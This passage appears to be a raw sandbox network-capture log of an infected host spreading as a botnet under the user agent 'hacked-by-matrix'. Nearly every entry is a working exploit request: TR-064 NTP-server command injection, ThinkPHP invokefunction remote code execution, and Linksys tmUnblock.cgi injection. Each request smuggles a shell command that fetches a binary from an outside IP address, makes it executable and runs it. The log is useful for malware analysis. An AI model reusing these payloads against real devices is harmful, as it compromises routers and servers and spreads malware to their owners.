Mar 21, 2024 05:22:36.004837990 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 Date: Thu, 21 Mar 2024 04:22:35 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.14	57296	209.94.149.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.330198050 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.14	58584	88.198.125.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.342349052 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:35.516191959 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.14	57326	209.94.149.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.457967043 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.14	41684	88.150.165.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.518032074 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.030210018 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.533240080 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.690990925 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 01:52:13 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:22:39.217467070 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 01:52:13 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.14	35084	88.147.99.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.556345940 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:36.749489069 CET	511	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:36 GMT Server: Apache/2.4.10 (Debian) Content-Length: 317 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 61 73 74 65 6c 76 65 74 72 6f 2e 72 65 6d 74 65 63 2e 65 6e 65 72 67 79 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.10 (Debian) Server at castelvetro.remtec.energy Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.14	51042	88.250.95.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.578116894 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:36.802943945 CET	378	IN	HTTP/1.0 406 Not Acceptable Server: NVR Webserver Date: Thu Mar 21 03:59:45 2024 Content-Length: 197 Connection: close Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 3c 70 3e 55 6e 73 75 70 70 6f 72 74 65 64 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 3c 2f 70 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: <html> <head><title>Document Error: Not Acceptable</title></head> <body> <h2>Access Error: Not Acceptable</h2> <p>Unsupported HTTP protocol</p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.14	37406	183.96.110.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.755738974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.14	37418	183.96.110.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.039927959 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.14	52112	172.64.160.240	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.208771944 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.14	47406	191.96.150.172	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.308243990 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.14	46942	47.206.130.239	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.466794968 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.14	42392	23.249.178.196	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.467173100 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:38.337271929 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:39.327379942 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:41.277090073 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:45.180977106 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:53.116626024 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:08.733417988 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 